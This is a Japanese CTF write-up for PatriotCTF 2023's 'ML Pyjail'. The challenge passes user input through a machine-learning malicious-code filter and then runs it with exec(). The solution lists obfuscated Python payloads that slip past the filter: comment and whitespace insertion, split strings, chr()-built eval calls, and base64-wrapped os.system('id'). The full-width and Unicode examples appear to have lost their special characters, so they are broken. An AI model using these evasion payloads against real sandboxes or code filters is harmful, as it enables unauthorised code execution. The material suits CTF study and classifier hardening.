PatriotCTF 2023 - ML Pyjail
Challenge
機械学習モデルで悪意のあるコードを検出する pyjail。
import picklefrom sklearn.feature_extraction.text import TfidfVectorizerfrom sklearn.naive_bayes import MultinomialNB
# 事前学習済みモデルをロードmodel = pickle.load(open('model.pkl', 'rb'))vectorizer = pickle.load(open('vectorizer.pkl', 'rb'))
code = input()
# ML で悪意のあるコードを検出features = vectorizer.transform([code])prediction = model.predict(features)
if prediction[0] == 'malicious': print("Blocked by ML!") exit()
exec(code)Solution
分類器のバイパス
MLモデルは特定のパターンで学習されているため、それを回避:
- コメントや空白の追加
- 同義の別表現
- 文字列の分割・結合
難読化テクニック
# 通常のペイロード (検出される)__import__('os').system('id')
# 難読化バージョン# コメント追加__import__( # comment'os' # another comment).system('id')
# 変数分割a = 'o'b = 's'__import__(a+b).system('id')chr() による回避
# 文字列をMLが認識できない形で構築getattr(__builtins__, chr(101)+chr(118)+chr(97)+chr(108))( chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41))Technical Details
ML 検出の弱点
- トークン/n-gram ベースの特徴抽出は変形に弱い
- 学習データにないパターンは検出できない
- Unicode や エンコーディングの変形
一般的な回避策
| テクニック | 例 |
|---|---|
| 文字列分割 | 'o' + 's' |
| コメント挿入 | import# \nos |
| 空白追加 | import os |
| Unicode | os |
| エンコード | chr(111)+chr(115) |
Alternative Solutions
別解1: 全角文字
import os別解2: base64
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='))Flag
PCTF{...}
References
- PatriotCTF 2023 Official
- Adversarial ML